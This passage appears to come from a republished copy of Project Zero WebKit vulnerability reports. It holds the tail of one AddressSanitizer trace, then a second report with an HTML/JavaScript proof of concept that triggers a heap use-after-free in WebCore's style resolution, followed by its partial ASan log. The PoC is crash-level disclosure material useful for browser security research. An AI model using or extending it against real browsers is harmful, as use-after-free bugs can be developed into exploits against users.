    #60 0x109485a48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #61 0x11d3d78e3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d228e3)
    #62 0x11d3d81b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #63 0x7fff8c5f6320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #64 0x7fff8c5d721c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #65 0x7fff8c5d6715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #66 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #67 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #68 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #69 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #70 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #71 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #72 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #73 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #74 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #75 0x7fffa1fae2e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #76 0x10937e56c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #77 0x7fffa1d56234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x611000089218 is located 24 bytes inside of 232-byte region [0x611000089200,0x6110000892e8)
freed by thread T0 here:
    #0 0x10cf97294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11d427650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x110ea1017 in WebCore::RenderElement::destroyLeftoverChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2650017)
    #3 0x110dc9db5 in WebCore::RenderBlockFlow::willBeDestroyed() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578db5)
    #4 0x111023fdf in WebCore::RenderObject::destroy() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27d2fdf)
    #5 0x111185d9f in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType)::$_2::operator()(unsigned int) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2934d9f)
    #6 0x1111847ec in WebCore::RenderTreeUpdater::tearDownRenderers(WebCore::Element&, WebCore::RenderTreeUpdater::TeardownType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29337ec)
    #7 0x111183c28 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932c28)
    #8 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #9 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #10 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #11 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #12 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #13 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #14 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #15 0x10ec0e887 in WebCore::CompositeEditCommand::splitTreeToNode(WebCore::Node&, WebCore::Node&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd887)
    #16 0x10f811a53 in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0a53)
    #17 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #18 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #19 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #20 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #21 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #22 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #23 0x10fbf7593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #24 0x10fbdf068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #25 0x5be2c2a01027  (<unknown module>)
    #26 0x11cd5fdd7 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aadd7)
    #27 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #28 0x11cd5fe49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #29 0x11cd58f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)

previously allocated by thread T0 here:
    #0 0x10cf96d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffa1ed8281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11d427ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11d425d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11d3ac247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11d3ab63a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10ea577b8 in WebCore::RenderObject::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2067b8)
    #7 0x11100cec5 in WebCore::RenderMultiColumnSpannerPlaceholder::createAnonymous(WebCore::RenderMultiColumnFlowThread*, WebCore::RenderBox&, WebCore::RenderStyle const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27bbec5)
    #8 0x110ffac8e in WebCore::RenderMultiColumnFlowThread::processPossibleSpannerDescendant(WebCore::RenderObject*&, WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a9c8e)
    #9 0x110ffb59e in WebCore::RenderMultiColumnFlowThread::flowThreadDescendantInserted(WebCore::RenderObject&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27aa59e)
    #10 0x110dc9aed in WebCore::RenderBlockFlow::insertedIntoTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2578aed)
    #11 0x110ea0ab6 in WebCore::RenderElement::insertChildInternal(WebCore::RenderObject*, WebCore::RenderObject*, WebCore::RenderElement::NotifyChildrenType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264fab6)
    #12 0x110ea06f6 in WebCore::RenderElement::addChild(WebCore::RenderObject*, WebCore::RenderObject*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x264f6f6)
    #13 0x111184c69 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2933c69)
    #14 0x111183dab in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2932dab)
    #15 0x1111835a8 in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x29325a8)
    #16 0x111182d7b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2931d7b)
    #17 0x10efe72f9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7962f9)
    #18 0x10efe1ac5 in WebCore::Document::updateLayout() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x790ac5)
    #19 0x10efe8542 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x797542)
    #20 0x11192f01c in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de01c)
    #21 0x11192edc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #22 0x10ec0e887 in WebCore::CompositeEditCommand::splitTreeToNode(WebCore::Node&, WebCore::Node&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3bd887)
    #23 0x10f811a53 in WebCore::IndentOutdentCommand::indentIntoBlockquote(WebCore::Position const&, WebCore::Position const&, WTF::RefPtr<WebCore::Element>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xfc0a53)
    #24 0x10e96490a in WebCore::ApplyBlockElementCommand::formatSelection(WebCore::VisiblePosition const&, WebCore::VisiblePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11390a)
    #25 0x10e963a3e in WebCore::ApplyBlockElementCommand::doApply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x112a3e)
    #26 0x10ec00e8d in WebCore::CompositeEditCommand::apply() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afe8d)
    #27 0x10f1843e3 in WebCore::executeIndent(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9333e3)
    #28 0x10f181ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #29 0x10f00200a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x53eaa) in WebCore::RenderObject::previousSibling() const
Shadow bytes around the buggy address:
  0x1c22000111f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1c2200011200: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c2200011210: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c2200011220: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011230: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
=>0x1c2200011240: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011250: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x1c2200011260: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c2200011270: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x1c2200011280: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x1c2200011290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==732==ABORTING
-->
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1351

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function eventhandler1() {
try { txt.appendChild(kg); } catch(e) { }
}

function eventhandler2() {
try { anim.appendChild(kg); } catch(e) { }
}

function eventhandler3() {
try { table.scrollIntoView(true); } catch(e) { }
}

</script>
<table id="table"></table>
<form>
<keygen id="kg" autofocus="autofocus">
</form>
<svg>
<animate id="anim" attributeName="text-anchor" from="middle" to="inherit" onbegin="eventhandler1()" />
<text id="txt" onload="eventhandler3()">
<font color="white"></font>
<select onfocus="eventhandler2()" autofocus="autofocus">
<textarea>a</textarea>
<iframe onload="eventhandler1()"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==30588==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000077ec8 at pc 0x00010dfdcb30 bp 0x7fff56cdb5a0 sp 0x7fff56cdb598
READ of size 8 at 0x608000077ec8 thread T0
==30588==WARNING: invalid path to external symbolizer!
==30588==WARNING: Failed to use and restart external symbolizer!
    #0 0x10dfdcb2f in WebCore::RenderStyle::NonInheritedFlags::getValue(unsigned long long, unsigned long long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x46b2f)
    #1 0x110ce1def in WebCore::Style::TreeResolver::parentBoxStyle() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bdef)
    #2 0x110ce1acc in WebCore::Style::TreeResolver::styleForElement(WebCore::Element&, WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bacc)
    #3 0x110ce1fc6 in WebCore::Style::TreeResolver::resolveElement(WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4bfc6)
    #4 0x110ce3f76 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4df76)
    #5 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #6 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #7 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #8 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #9 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #10 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #11 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #12 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #13 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #14 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #15 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #16 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #17 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #18 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #19 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #20 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #21 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #22 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #23 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x608000077ec8 is located 40 bytes inside of 88-byte region [0x608000077ea0,0x608000077ef8)
freed by thread T0 here:
    #0 0x10c6dc294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x11cb6c650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x110ce4081 in WebCore::Style::TreeResolver::resolveComposedTree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4e081)
    #3 0x110ce4cc6 in WebCore::Style::TreeResolver::resolve() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d4ecc6)
    #4 0x10e72c196 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796196)
    #5 0x10eb31887 in WebCore::FrameView::updateLayoutAndStyleIfNeededRecursive() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb9b887)
    #6 0x1094e40e6 in WebKit::TiledCoreAnimationDrawingArea::flushLayers() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x5a90e6)
    #7 0x11005764e in WebCore::LayerFlushScheduler::layerFlushCallback() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x20c164e)
    #8 0x7fffd52aed36 in __CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6d36)
    #9 0x7fffd52aeca6 in __CFRunLoopDoObservers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa6ca6)
    #10 0x7fffd528f135 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87135)
    #11 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #12 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #13 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #14 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #15 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #16 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #17 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #18 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #19 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #20 0x108f2156c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #21 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

previously allocated by thread T0 here:
    #0 0x10c6dbd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x11cb6cad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x11cb6ad6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x11caf1247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x11caf063a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x1107568e8 in WebCore::RenderStyle::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c08e8)
    #7 0x1107943b9 in WebCore::RenderStyle::clonePtr(WebCore::RenderStyle const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27fe3b9)
